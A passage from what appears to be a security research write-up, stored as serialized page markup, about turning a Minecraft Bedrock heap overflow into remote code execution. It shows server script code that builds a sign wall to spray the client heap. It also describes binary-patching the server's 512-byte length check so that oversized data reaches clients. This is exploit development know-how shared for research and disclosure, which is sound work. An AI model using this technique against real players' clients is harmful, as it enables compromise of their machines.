,{"type":26,"tag":475,"props":150268,"children":150269},{"style":482},[150270],{"type":32,"value":31077},{"type":26,"tag":475,"props":150272,"children":150273},{"style":493},[150274],{"type":32,"value":150275}," create_wall",{"type":26,"tag":475,"props":150277,"children":150278},{"style":499},[150279],{"type":32,"value":882},{"type":26,"tag":475,"props":150281,"children":150282},{"class":477,"line":548},[150283,150288,150292],{"type":26,"tag":475,"props":150284,"children":150285},{"style":2375},[150286],{"type":32,"value":150287}," signs",{"type":26,"tag":475,"props":150289,"children":150290},{"style":714},[150291],{"type":32,"value":2383},{"type":26,"tag":475,"props":150293,"children":150294},{"style":499},[150295],{"type":32,"value":150296}," [];\n",{"type":26,"tag":475,"props":150298,"children":150299},{"class":477,"line":558},[150300],{"type":26,"tag":475,"props":150301,"children":150302},{"emptyLinePlaceholder":18},[150303],{"type":32,"value":545},{"type":26,"tag":475,"props":150305,"children":150306},{"class":477,"line":582},[150307,150311,150315,150319,150324,150328,150332,150336,150341,150345,150350,150354,150358,150362],{"type":26,"tag":475,"props":150308,"children":150309},{"style":586},[150310],{"type":32,"value":2737},{"type":26,"tag":475,"props":150312,"children":150313},{"style":499},[150314],{"type":32,"value":2775},{"type":26,"tag":475,"props":150316,"children":150317},{"style":482},[150318],{"type":32,"value":11496},{"type":26,"tag":475,"props":150320,"children":150321},{"style":2375},[150322],{"type":32,"value":150323}," current_y",{"type":26,"tag":475,"props":150325,"children":150326},{"style":714},[150327],{"type":32,"value":2383},{"type":26,"tag":475,"props":150329,"children":150330},{"style":903},[150331],{"type":32,"value":2752},{"type":26,"tag":475,"props":150333,"children":150334},{"style":499},[150335],{"type":32,"value":16933},{"type":26,"tag":475,"props":150337,"children":150338},{"style":2375},[150339],{"type":32,"value":150340},"current_y",{"type":26,"tag":475,"props":150342,"children":150343},{"style":714},[150344],{"type":32,"value":8430},{"type":26,"tag":475,"props":150346,"children":150347},{"style":2375},[150348],{"type":32,"value":150349}," WALL_HEIGHT",{"type":26,"tag":475,"props":150351,"children":150352},{"style":499},[150353],{"type":32,"value":16933},{"type":26,"tag":475,"props":150355,"children":150356},{"style":2375},[150357],{"type":32,"value":150340},{"type":26,"tag":475,"props":150359,"children":150360},{"style":714},[150361],{"type":32,"value":50961},{"type":26,"tag":475,"props":150363,"children":150364},{"style":499},[150365],{"type":32,"value":676},{"type":26,"tag":475,"props":150367,"children":150368},{"class":477,"line":596},[150369,150373,150377,150381,150386,150390,150394,150398,150403,150407,150412,150416,150420,150424],{"type":26,"tag":475,"props":150370,"children":150371},{"style":586},[150372],{"type":32,"value":60268},{"type":26,"tag":475,"props":150374,"children":150375},{"style":499},[150376],{"type":32,"value":2775},{"type":26,"tag":475,"props":150378,"children":150379},{"style":482},[150380],{"type":32,"value":11496},{"type":26,"tag":475,"props":150382,"children":150383},{"style":2375},[150384],{"type":32,"value":150385}," current_x",{"type":26,"tag":475,"props":150387,"children":150388},{"style":714},[150389],{"type":32,"value":2383},{"type":26,"tag":475,"props":150391,"children":150392},{"style":903},[150393],{"type":32,"value":2752},{"type":26,"tag":475,"props":150395,"children":150396},{"style":499},[150397],{"type":32,"value":16933},{"type":26,"tag":475,"props":150399,"children":150400},{"style":2375},[150401],{"type":32,"value":150402},"current_x",{"type":26,"tag":475,"props":150404,"children":150405},{"style":714},[150406],{"type":32,"value":8430},{"type":26,"tag":475,"props":150408,"children":150409},{"style":2375},[150410],{"type":32,"value":150411}," WALL_WIDTH",{"type":26,"tag":475,"props":150413,"children":150414},{"style":499},[150415],{"type":32,"value":16933},{"type":26,"tag":475,"props":150417,"children":150418},{"style":2375},[150419],{"type":32,"value":150402},{"type":26,"tag":475,"props":150421,"children":150422},{"style":714},[150423],{"type":32,"value":50961},{"type":26,"tag":475,"props":150425,"children":150426},{"style":499},[150427],{"type":32,"value":676},{"type":26,"tag":475,"props":150429,"children":150430},{"class":477,"line":610},[150431],{"type":26,"tag":475,"props":150432,"children":150433},{"emptyLinePlaceholder":18},[150434],{"type":32,"value":545},{"type":26,"tag":475,"props":150436,"children":150437},{"class":477,"line":650},[150438,150443,150447],{"type":26,"tag":475,"props":150439,"children":150440},{"style":499},[150441],{"type":32,"value":150442}," [",{"type":26,"tag":475,"props":150444,"children":150445},{"style":714},[150446],{"type":32,"value":9300},{"type":26,"tag":475,"props":150448,"children":150449},{"style":499},[150450],{"type":32,"value":11481},{"type":26,"tag":475,"props":150452,"children":150453},{"class":477,"line":679},[150454],{"type":26,"tag":475,"props":150455,"children":150456},{"style":499},[150457],{"type":32,"value":150458}," \n",{"type":26,"tag":475,"props":150460,"children":150461},{"class":477,"line":735},[150462,150467,150472,150476],{"type":26,"tag":475,"props":150463,"children":150464},{"style":482},[150465],{"type":32,"value":150466}," const",{"type":26,"tag":475,"props":150468,"children":150469},{"style":2375},[150470],{"type":32,"value":150471}," sign_block",{"type":26,"tag":475,"props":150473,"children":150474},{"style":714},[150475],{"type":32,"value":2383},{"type":26,"tag":475,"props":150477,"children":150478},{"style":2375},[150479],{"type":32,"value":150480}," world\n",{"type":26,"tag":475,"props":150482,"children":150483},{"class":477,"line":744},[150484,150489,150494,150498,150503],{"type":26,"tag":475,"props":150485,"children":150486},{"style":499},[150487],{"type":32,"value":150488}," .",{"type":26,"tag":475,"props":150490,"children":150491},{"style":493},[150492],{"type":32,"value":150493},"getDimension",{"type":26,"tag":475,"props":150495,"children":150496},{"style":499},[150497],{"type":32,"value":626},{"type":26,"tag":475,"props":150499,"children":150500},{"style":629},[150501],{"type":32,"value":150502},"\"overworld\"",{"type":26,"tag":475,"props":150504,"children":150505},{"style":499},[150506],{"type":32,"value":647},{"type":26,"tag":475,"props":150508,"children":150509},{"class":477,"line":753},[150510,150514,150519,150523,150528],{"type":26,"tag":475,"props":150511,"children":150512},{"style":499},[150513],{"type":32,"value":150488},{"type":26,"tag":475,"props":150515,"children":150516},{"style":493},[150517],{"type":32,"value":150518},"getBlock",{"type":26,"tag":475,"props":150520,"children":150521},{"style":499},[150522],{"type":32,"value":626},{"type":26,"tag":475,"props":150524,"children":150525},{"style":2375},[150526],{"type":32,"value":150527},"sign_location",{"type":26,"tag":475,"props":150529,"children":150530},{"style":499},[150531],{"type":32,"value":3533},{"type":26,"tag":475,"props":150533,"children":150534},{"class":477,"line":761},[150535,150540,150544,150548],{"type":26,"tag":475,"props":150536,"children":150537},{"style":2375},[150538],{"type":32,"value":150539}," sign_block",{"type":26,"tag":475,"props":150541,"children":150542},{"style":499},[150543],{"type":32,"value":353},{"type":26,"tag":475,"props":150545,"children":150546},{"style":493},[150547],{"type":32,"value":150146},{"type":26,"tag":475,"props":150549,"children":150550},{"style":499},[150551],{"type":32,"value":3169},{"type":26,"tag":475,"props":150553,"children":150554},{"class":477,"line":770},[150555,150560,150564,150568,150572,150577],{"type":26,"tag":475,"props":150556,"children":150557},{"style":2375},[150558],{"type":32,"value":150559}," BlockPermutation",{"type":26,"tag":475,"props":150561,"children":150562},{"style":499},[150563],{"type":32,"value":353},{"type":26,"tag":475,"props":150565,"children":150566},{"style":493},[150567],{"type":32,"value":150167},{"type":26,"tag":475,"props":150569,"children":150570},{"style":499},[150571],{"type":32,"value":626},{"type":26,"tag":475,"props":150573,"children":150574},{"style":629},[150575],{"type":32,"value":150576},"\"minecraft:wall_sign\"",{"type":26,"tag":475,"props":150578,"children":150579},{"style":499},[150580],{"type":32,"value":2407},{"type":26,"tag":475,"props":150582,"children":150583},{"class":477,"line":794},[150584,150589],{"type":26,"tag":475,"props":150585,"children":150586},{"style":2375},[150587],{"type":32,"value":150588}," facing_direction:",{"type":26,"tag":475,"props":150590,"children":150591},{"style":903},[150592],{"type":32,"value":19035},{"type":26,"tag":475,"props":150594,"children":150595},{"class":477,"line":831},[150596],{"type":26,"tag":475,"props":150597,"children":150598},{"style":499},[150599],{"type":32,"value":1178},{"type":26,"tag":475,"props":150601,"children":150602},{"class":477,"line":845},[150603],{"type":26,"tag":475,"props":150604,"children":150605},{"style":499},[150606],{"type":32,"value":150607}," ));\n",{"type":26,"tag":475,"props":150609,"children":150610},{"class":477,"line":854},[150611,150616,150621,150625],{"type":26,"tag":475,"props":150612,"children":150613},{"style":482},[150614],{"type":32,"value":150615}," let",{"type":26,"tag":475,"props":150617,"children":150618},{"style":2375},[150619],{"type":32,"value":150620}," sign_component",{"type":26,"tag":475,"props":150622,"children":150623},{"style":714},[150624],{"type":32,"value":2383},{"type":26,"tag":475,"props":150626,"children":150627},{"style":2375},[150628],{"type":32,"value":150629}," sign_block\n",{"type":26,"tag":475,"props":150631,"children":150632},{"class":477,"line":862},[150633,150637,150642,150646,150651,150655,150660],{"type":26,"tag":475,"props":150634,"children":150635},{"style":499},[150636],{"type":32,"value":150488},{"type":26,"tag":475,"props":150638,"children":150639},{"style":493},[150640],{"type":32,"value":150641},"getComponent",{"type":26,"tag":475,"props":150643,"children":150644},{"style":499},[150645],{"type":32,"value":626},{"type":26,"tag":475,"props":150647,"children":150648},{"style":2375},[150649],{"type":32,"value":150650},"BlockComponentTypes",{"type":26,"tag":475,"props":150652,"children":150653},{"style":499},[150654],{"type":32,"value":353},{"type":26,"tag":475,"props":150656,"children":150657},{"style":2375},[150658],{"type":32,"value":150659},"Sign",{"type":26,"tag":475,"props":150661,"children":150662},{"style":499},[150663],{"type":32,"value":3533},{"type":26,"tag":475,"props":150665,"children":150666},{"class":477,"line":885},[150667],{"type":26,"tag":475,"props":150668,"children":150669},{"emptyLinePlaceholder":18},[150670],{"type":32,"value":545},{"type":26,"tag":475,"props":150672,"children":150673},{"class":477,"line":913},[150674,150679,150683,150687],{"type":26,"tag":475,"props":150675,"children":150676},{"style":2375},[150677],{"type":32,"value":150678}," signs",{"type":26,"tag":475,"props":150680,"children":150681},{"style":499},[150682],{"type":32,"value":353},{"type":26,"tag":475,"props":150684,"children":150685},{"style":493},[150686],{"type":32,"value":3519},{"type":26,"tag":475,"props":150688,"children":150689},{"style":499},[150690],{"type":32,"value":14846},{"type":26,"tag":475,"props":150692,"children":150693},{"class":477,"line":926},[150694,150699,150703],{"type":26,"tag":475,"props":150695,"children":150696},{"style":2375},[150697],{"type":32,"value":150698}," sign:",{"type":26,"tag":475,"props":150700,"children":150701},{"style":2375},[150702],{"type":32,"value":150620},{"type":26,"tag":475,"props":150704,"children":150705},{"style":499},[150706],{"type":32,"value":2425},{"type":26,"tag":475,"props":150708,"children":150709},{"class":477,"line":948},[150710,150715,150719],{"type":26,"tag":475,"props":150711,"children":150712},{"style":2375},[150713],{"type":32,"value":150714}," allocated:",{"type":26,"tag":475,"props":150716,"children":150717},{"style":482},[150718],{"type":32,"value":8769},{"type":26,"tag":475,"props":150720,"children":150721},{"style":499},[150722],{"type":32,"value":2425},{"type":26,"tag":475,"props":150724,"children":150725},{"class":477,"line":966},[150726,150731,150735],{"type":26,"tag":475,"props":150727,"children":150728},{"style":2375},[150729],{"type":32,"value":150730}," block:",{"type":26,"tag":475,"props":150732,"children":150733},{"style":2375},[150734],{"type":32,"value":150471},{"type":26,"tag":475,"props":150736,"children":150737},{"style":499},[150738],{"type":32,"value":2425},{"type":26,"tag":475,"props":150740,"children":150741},{"class":477,"line":979},[150742,150747],{"type":26,"tag":475,"props":150743,"children":150744},{"style":2375},[150745],{"type":32,"value":150746}," removed:",{"type":26,"tag":475,"props":150748,"children":150749},{"style":482},[150750],{"type":32,"value":12020},{"type":26,"tag":475,"props":150752,"children":150753},{"class":477,"line":1006},[150754],{"type":26,"tag":475,"props":150755,"children":150756},{"style":499},[150757],{"type":32,"value":150758}," });\n",{"type":26,"tag":475,"props":150760,"children":150761},{"class":477,"line":1046},[150762],{"type":26,"tag":475,"props":150763,"children":150764},{"style":499},[150765],{"type":32,"value":750},{"type":26,"tag":475,"props":150767,"children":150768},{"class":477,"line":1068},[150769],{"type":26,"tag":475,"props":150770,"children":150771},{"style":499},[150772],{"type":32,"value":851},{"type":26,"tag":475,"props":150774,"children":150775},{"class":477,"line":1077},[150776],{"type":26,"tag":475,"props":150777,"children":150778},{"style":499},[150779],{"type":32,"value":3607},{"type":26,"tag":475,"props":150781,"children":150782},{"class":477,"line":1090},[150783],{"type":26,"tag":475,"props":150784,"children":150785},{"emptyLinePlaceholder":18},[150786],{"type":32,"value":545},{"type":26,"tag":475,"props":150788,"children":150789},{"class":477,"line":1119},[150790,150794,150799],{"type":26,"tag":475,"props":150791,"children":150792},{"style":482},[150793],{"type":32,"value":31077},{"type":26,"tag":475,"props":150795,"children":150796},{"style":493},[150797],{"type":32,"value":150798}," remove_wall",{"type":26,"tag":475,"props":150800,"children":150801},{"style":499},[150802],{"type":32,"value":882},{"type":26,"tag":475,"props":150804,"children":150805},{"class":477,"line":1132},[150806,150810,150814],{"type":26,"tag":475,"props":150807,"children":150808},{"style":2375},[150809],{"type":32,"value":150287},{"type":26,"tag":475,"props":150811,"children":150812},{"style":714},[150813],{"type":32,"value":2383},{"type":26,"tag":475,"props":150815,"children":150816},{"style":499},[150817],{"type":32,"value":150296},{"type":26,"tag":475,"props":150819,"children":150820},{"class":477,"line":1146},[150821],{"type":26,"tag":475,"props":150822,"children":150823},{"style":499},[150824],{"type":32,"value":61478},{"type":26,"tag":475,"props":150826,"children":150827},{"class":477,"line":1155},[150828,150832,150836,150840,150844,150848,150852,150856,150860,150864,150868,150872,150876,150880],{"type":26,"tag":475,"props":150829,"children":150830},{"style":586},[150831],{"type":32,"value":2737},{"type":26,"tag":475,"props":150833,"children":150834},{"style":499},[150835],{"type":32,"value":2775},{"type":26,"tag":475,"props":150837,"children":150838},{"style":482},[150839],{"type":32,"value":11496},{"type":26,"tag":475,"props":150841,"children":150842},{"style":2375},[150843],{"type":32,"value":150323},{"type":26,"tag":475,"props":150845,"children":150846},{"style":714},[150847],{"type":32,"value":2383},{"type":26,"tag":475,"props":150849,"children":150850},{"style":903},[150851],{"type":32,"value":2752},{"type":26,"tag":475,"props":150853,"children":150854},{"style":499},[150855],{"type":32,"value":16933},{"type":26,"tag":475,"props":150857,"children":150858},{"style":2375},[150859],{"type":32,"value":150340},{"type":26,"tag":475,"props":150861,"children":150862},{"style":714},[150863],{"type":32,"value":8430},{"type":26,"tag":475,"props":150865,"children":150866},{"style":2375},[150867],{"type":32,"value":150349},{"type":26,"tag":475,"props":150869,"children":150870},{"style":499},[150871],{"type":32,"value":16933},{"type":26,"tag":475,"props":150873,"children":150874},{"style":2375},[150875],{"type":32,"value":150340},{"type":26,"tag":475,"props":150877,"children":150878},{"style":714},[150879],{"type":32,"value":50961},{"type":26,"tag":475,"props":150881,"children":150882},{"style":499},[150883],{"type":32,"value":676},{"type":26,"tag":475,"props":150885,"children":150886},{"class":477,"line":1163},[150887,150891,150895,150899,150903,150907,150911,150915,150919,150923,150927,150931,150935,150939],{"type":26,"tag":475,"props":150888,"children":150889},{"style":586},[150890],{"type":32,"value":60268},{"type":26,"tag":475,"props":150892,"children":150893},{"style":499},[150894],{"type":32,"value":2775},{"type":26,"tag":475,"props":150896,"children":150897},{"style":482},[150898],{"type":32,"value":11496},{"type":26,"tag":475,"props":150900,"children":150901},{"style":2375},[150902],{"type":32,"value":150385},{"type":26,"tag":475,"props":150904,"children":150905},{"style":714},[150906],{"type":32,"value":2383},{"type":26,"tag":475,"props":150908,"children":150909},{"style":903},[150910],{"type":32,"value":2752},{"type":26,"tag":475,"props":150912,"children":150913},{"style":499},[150914],{"type":32,"value":16933},{"type":26,"tag":475,"props":150916,"children":150917},{"style":2375},[150918],{"type":32,"value":150402},{"type":26,"tag":475,"props":150920,"children":150921},{"style":714},[150922],{"type":32,"value":8430},{"type":26,"tag":475,"props":150924,"children":150925},{"style":2375},[150926],{"type":32,"value":150411},{"type":26,"tag":475,"props":150928,"children":150929},{"style":499},[150930],{"type":32,"value":16933},{"type":26,"tag":475,"props":150932,"children":150933},{"style":2375},[150934],{"type":32,"value":150402},{"type":26,"tag":475,"props":150936,"children":150937},{"style":714},[150938],{"type":32,"value":50961},{"type":26,"tag":475,"props":150940,"children":150941},{"style":499},[150942],{"type":32,"value":676},{"type":26,"tag":475,"props":150944,"children":150945},{"class":477,"line":1172},[150946],{"type":26,"tag":475,"props":150947,"children":150948},{"style":499},[150949],{"type":32,"value":150458},{"type":26,"tag":475,"props":150951,"children":150952},{"class":477,"line":1181},[150953,150957,150961],{"type":26,"tag":475,"props":150954,"children":150955},{"style":499},[150956],{"type":32,"value":150442},{"type":26,"tag":475,"props":150958,"children":150959},{"style":714},[150960],{"type":32,"value":9300},{"type":26,"tag":475,"props":150962,"children":150963},{"style":499},[150964],{"type":32,"value":11481},{"type":26,"tag":475,"props":150966,"children":150967},{"class":477,"line":1189},[150968],{"type":26,"tag":475,"props":150969,"children":150970},{"style":499},[150971],{"type":32,"value":150972}," \n",{"type":26,"tag":475,"props":150974,"children":150975},{"class":477,"line":1221},[150976,150980,150984,150988,150992,150997],{"type":26,"tag":475,"props":150977,"children":150978},{"style":482},[150979],{"type":32,"value":150466},{"type":26,"tag":475,"props":150981,"children":150982},{"style":2375},[150983],{"type":32,"value":150471},{"type":26,"tag":475,"props":150985,"children":150986},{"style":714},[150987],{"type":32,"value":2383},{"type":26,"tag":475,"props":150989,"children":150990},{"style":586},[150991],{"type":32,"value":2388},{"type":26,"tag":475,"props":150993,"children":150994},{"style":493},[150995],{"type":32,"value":150996}," wait_for_block",{"type":26,"tag":475,"props":150998,"children":150999},{"style":499},[151000],{"type":32,"value":3169},{"type":26,"tag":475,"props":151002,"children":151003},{"class":477,"line":1848},[151004,151009,151013,151017,151021,151025],{"type":26,"tag":475,"props":151005,"children":151006},{"style":2375},[151007],{"type":32,"value":151008}," world",{"type":26,"tag":475,"props":151010,"children":151011},{"style":499},[151012],{"type":32,"value":353},{"type":26,"tag":475,"props":151014,"children":151015},{"style":493},[151016],{"type":32,"value":150493},{"type":26,"tag":475,"props":151018,"children":151019},{"style":499},[151020],{"type":32,"value":626},{"type":26,"tag":475,"props":151022,"children":151023},{"style":629},[151024],{"type":32,"value":150502},{"type":26,"tag":475,"props":151026,"children":151027},{"style":499},[151028],{"type":32,"value":6450},{"type":26,"tag":475,"props":151030,"children":151031},{"class":477,"line":1857},[151032],{"type":26,"tag":475,"props":151033,"children":151034},{"style":2375},[151035],{"type":32,"value":151036}," sign_location\n",{"type":26,"tag":475,"props":151038,"children":151039},{"class":477,"line":1866},[151040],{"type":26,"tag":475,"props":151041,"children":151042},{"style":499},[151043],{"type":32,"value":124546},{"type":26,"tag":475,"props":151045,"children":151046},{"class":477,"line":1875},[151047,151051,151055,151059],{"type":26,"tag":475,"props":151048,"children":151049},{"style":2375},[151050],{"type":32,"value":150539},{"type":26,"tag":475,"props":151052,"children":151053},{"style":499},[151054],{"type":32,"value":353},{"type":26,"tag":475,"props":151056,"children":151057},{"style":493},[151058],{"type":32,"value":150146},{"type":26,"tag":475,"props":151060,"children":151061},{"style":499},[151062],{"type":32,"value":3169},{"type":26,"tag":475,"props":151064,"children":151065},{"class":477,"line":1883},[151066,151070,151074,151078,151082,151086],{"type":26,"tag":475,"props":151067,"children":151068},{"style":2375},[151069],{"type":32,"value":150559},{"type":26,"tag":475,"props":151071,"children":151072},{"style":499},[151073],{"type":32,"value":353},{"type":26,"tag":475,"props":151075,"children":151076},{"style":493},[151077],{"type":32,"value":150167},{"type":26,"tag":475,"props":151079,"children":151080},{"style":499},[151081],{"type":32,"value":626},{"type":26,"tag":475,"props":151083,"children":151084},{"style":629},[151085],{"type":32,"value":150176},{"type":26,"tag":475,"props":151087,"children":151088},{"style":499},[151089],{"type":32,"value":647},{"type":26,"tag":475,"props":151091,"children":151092},{"class":477,"line":1892},[151093],{"type":26,"tag":475,"props":151094,"children":151095},{"style":499},[151096],{"type":32,"value":124546},{"type":26,"tag":475,"props":151098,"children":151099},{"class":477,"line":1901},[151100],{"type":26,"tag":475,"props":151101,"children":151102},{"emptyLinePlaceholder":18},[151103],{"type":32,"value":545},{"type":26,"tag":475,"props":151105,"children":151106},{"class":477,"line":1910},[151107,151111,151115],{"type":26,"tag":475,"props":151108,"children":151109},{"style":499},[151110],{"type":32,"value":150442},{"type":26,"tag":475,"props":151112,"children":151113},{"style":714},[151114],{"type":32,"value":9300},{"type":26,"tag":475,"props":151116,"children":151117},{"style":499},[151118],{"type":32,"value":11481},{"type":26,"tag":475,"props":151120,"children":151121},{"class":477,"line":1919},[151122],{"type":26,"tag":475,"props":151123,"children":151124},{"style":499},[151125],{"type":32,"value":750},{"type":26,"tag":475,"props":151127,"children":151128},{"class":477,"line":1927},[151129],{"type":26,"tag":475,"props":151130,"children":151131},{"style":499},[151132],{"type":32,"value":851},{"type":26,"tag":475,"props":151134,"children":151135},{"class":477,"line":1936},[151136],{"type":26,"tag":475,"props":151137,"children":151138},{"style":499},[151139],{"type":32,"value":3607},{"type":26,"tag":475,"props":151141,"children":151142},{"class":477,"line":1945},[151143],{"type":26,"tag":475,"props":151144,"children":151145},{"emptyLinePlaceholder":18},[151146],{"type":32,"value":545},{"type":26,"tag":475,"props":151148,"children":151149},{"class":477,"line":1967},[151150,151155,151159,151164,151168,151173,151177,151182,151186,151191,151195,151199],{"type":26,"tag":475,"props":151151,"children":151152},{"style":2375},[151153],{"type":32,"value":151154},"world",{"type":26,"tag":475,"props":151156,"children":151157},{"style":499},[151158],{"type":32,"value":353},{"type":26,"tag":475,"props":151160,"children":151161},{"style":2375},[151162],{"type":32,"value":151163},"afterEvents",{"type":26,"tag":475,"props":151165,"children":151166},{"style":499},[151167],{"type":32,"value":353},{"type":26,"tag":475,"props":151169,"children":151170},{"style":2375},[151171],{"type":32,"value":151172},"playerSpawn",{"type":26,"tag":475,"props":151174,"children":151175},{"style":499},[151176],{"type":32,"value":353},{"type":26,"tag":475,"props":151178,"children":151179},{"style":493},[151180],{"type":32,"value":151181},"subscribe",{"type":26,"tag":475,"props":151183,"children":151184},{"style":499},[151185],{"type":32,"value":31223},{"type":26,"tag":475,"props":151187,"children":151188},{"style":2375},[151189],{"type":32,"value":151190},"arg",{"type":26,"tag":475,"props":151192,"children":151193},{"style":499},[151194],{"type":32,"value":2794},{"type":26,"tag":475,"props":151196,"children":151197},{"style":482},[151198],{"type":32,"value":2360},{"type":26,"tag":475,"props":151200,"children":151201},{"style":499},[151202],{"type":32,"value":579},{"type":26,"tag":475,"props":151204,"children":151205},{"class":477,"line":1976},[151206,151211],{"type":26,"tag":475,"props":151207,"children":151208},{"style":493},[151209],{"type":32,"value":151210}," create_wall",{"type":26,"tag":475,"props":151212,"children":151213},{"style":499},[151214],{"type":32,"value":3376},{"type":26,"tag":475,"props":151216,"children":151217},{"class":477,"line":1984},[151218],{"type":26,"tag":475,"props":151219,"children":151220},{"style":499},[151221],{"type":32,"value":35033},{"type":26,"tag":475,"props":151223,"children":151224},{"class":477,"line":1992},[151225],{"type":26,"tag":475,"props":151226,"children":151227},{"emptyLinePlaceholder":18},[151228],{"type":32,"value":545},{"type":26,"tag":475,"props":151230,"children":151231},{"class":477,"line":2004},[151232,151236,151240,151245,151249,151254,151258,151262,151266,151270,151274,151278,151282,151286],{"type":26,"tag":475,"props":151233,"children":151234},{"style":2375},[151235],{"type":32,"value":151154},{"type":26,"tag":475,"props":151237,"children":151238},{"style":499},[151239],{"type":32,"value":353},{"type":26,"tag":475,"props":151241,"children":151242},{"style":2375},[151243],{"type":32,"value":151244},"beforeEvents",{"type":26,"tag":475,"props":151246,"children":151247},{"style":499},[151248],{"type":32,"value":353},{"type":26,"tag":475,"props":151250,"children":151251},{"style":2375},[151252],{"type":32,"value":151253},"playerLeave",{"type":26,"tag":475,"props":151255,"children":151256},{"style":499},[151257],{"type":32,"value":353},{"type":26,"tag":475,"props":151259,"children":151260},{"style":493},[151261],{"type":32,"value":151181},{"type":26,"tag":475,"props":151263,"children":151264},{"style":499},[151265],{"type":32,"value":626},{"type":26,"tag":475,"props":151267,"children":151268},{"style":482},[151269],{"type":32,"value":2350},{"type":26,"tag":475,"props":151271,"children":151272},{"style":499},[151273],{"type":32,"value":2775},{"type":26,"tag":475,"props":151275,"children":151276},{"style":2375},[151277],{"type":32,"value":151190},{"type":26,"tag":475,"props":151279,"children":151280},{"style":499},[151281],{"type":32,"value":2794},{"type":26,"tag":475,"props":151283,"children":151284},{"style":482},[151285],{"type":32,"value":2360},{"type":26,"tag":475,"props":151287,"children":151288},{"style":499},[151289],{"type":32,"value":579},{"type":26,"tag":475,"props":151291,"children":151292},{"class":477,"line":2029},[151293,151298],{"type":26,"tag":475,"props":151294,"children":151295},{"style":493},[151296],{"type":32,"value":151297}," remove_wall",{"type":26,"tag":475,"props":151299,"children":151300},{"style":499},[151301],{"type":32,"value":3376},{"type":26,"tag":475,"props":151303,"children":151304},{"class":477,"line":2042},[151305],{"type":26,"tag":475,"props":151306,"children":151307},{"style":499},[151308],{"type":32,"value":35033},{"type":26,"tag":35,"props":151310,"children":151311},{},[151312],{"type":32,"value":151313},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":26,"tag":35,"props":151315,"children":151316},{},[151317],{"type":26,"tag":132,"props":151318,"children":151321},{"alt":151319,"src":151320},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":26,"tag":35,"props":151323,"children":151324},{},[151325],{"type":32,"value":151326},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":26,"tag":70,"props":151328,"children":151330},{"id":151329},"a-small-roadblock",[151331],{"type":32,"value":151332},"A Small Roadblock",{"type":26,"tag":35,"props":151334,"children":151335},{},[151336],{"type":32,"value":151337},"While testing our heap spray method, we encountered the following error:",{"type":26,"tag":465,"props":151339,"children":151341},{"code":151340},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n at alloc (index.js:169)\n",[151342],{"type":26,"tag":53,"props":151343,"children":151344},{"__ignoreMap":7},[151345],{"type":32,"value":151340},{"type":26,"tag":35,"props":151347,"children":151348},{},[151349,151351,151357],{"type":32,"value":151350},"An error is thrown by the server executable while trying to assign text longer than ",{"type":26,"tag":53,"props":151352,"children":151354},{"className":151353},[],[151355],{"type":32,"value":151356},"512",{"type":32,"value":151358}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":26,"tag":35,"props":151360,"children":151361},{},[151362],{"type":32,"value":151363},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":26,"tag":35,"props":151365,"children":151366},{},[151367],{"type":32,"value":151368},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":26,"tag":35,"props":151370,"children":151371},{},[151372],{"type":26,"tag":132,"props":151373,"children":151375},{"alt":134,"src":151374},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":26,"tag":35,"props":151377,"children":151378},{},[151379,151381,151387],{"type":32,"value":151380},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":26,"tag":53,"props":151382,"children":151384},{"className":151383},[],[151385],{"type":32,"value":151386},"string_length \u003C= 512",{"type":32,"value":151388}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":26,"tag":35,"props":151390,"children":151391},{},[151392],{"type":32,"value":151393},"The disassembly of the comparison looks like this:",{"type":26,"tag":35,"props":151395,"children":151396},{},[151397],{"type":26,"tag":132,"props":151398,"children":151400},{"alt":134,"src":151399},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":26,"tag":35,"props":151402,"children":151403},{},[151404,151406,151411,151413,151418,151419,151424,151426,151432,151434,151440,151442,151447,151449,151454],{"type":32,"value":151405},"The code compares ",{"type":26,"tag":53,"props":151407,"children":151409},{"className":151408},[],[151410],{"type":32,"value":56466},{"type":32,"value":151412}," (the string length) to ",{"type":26,"tag":53,"props":151414,"children":151416},{"className":151415},[],[151417],{"type":32,"value":127246},{"type":32,"value":2775},{"type":26,"tag":53,"props":151420,"children":151422},{"className":151421},[],[151423],{"type":32,"value":151356},{"type":32,"value":151425}," decimal). It then performs a ",{"type":26,"tag":53,"props":151427,"children":151429},{"className":151428},[],[151430],{"type":32,"value":151431},"jbe",{"type":32,"value":151433},", jumping to address ",{"type":26,"tag":53,"props":151435,"children":151437},{"className":151436},[],[151438],{"type":32,"value":151439},"0x14275114c",{"type":32,"value":151441}," if ",{"type":26,"tag":53,"props":151443,"children":151445},{"className":151444},[],[151446],{"type":32,"value":56466},{"type":32,"value":151448}," is less than or equal to ",{"type":26,"tag":53,"props":151450,"children":151452},{"className":151451},[],[151453],{"type":32,"value":151356},{"type":32,"value":151455},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":26,"tag":35,"props":151457,"children":151458},{},[151459,151461,151466,151468,151474],{"type":32,"value":151460},"To force execution down this path, we patched the ",{"type":26,"tag":53,"props":151462,"children":151464},{"className":151463},[],[151465],{"type":32,"value":151431},{"type":32,"value":151467}," instruction to an unconditional ",{"type":26,"tag":53,"props":151469,"children":151471},{"className":151470},[],[151472],{"type":32,"value":151473},"jmp",{"type":32,"value":151475},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":26,"tag":35,"props":151477,"children":151478},{},[151479],{"type":26,"tag":132,"props":151480,"children":151482},{"alt":134,"src":151481},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":26,"tag":35,"props":151484,"children":151485},{},[151486,151488,151493,151495,151500],{"type":32,"value":151487},"After patching the server and calling ",{"type":26,"tag":53,"props":151489,"children":151491},{"className":151490},[],[151492],{"type":32,"value":149597},{"type":32,"value":151494}," with a size of 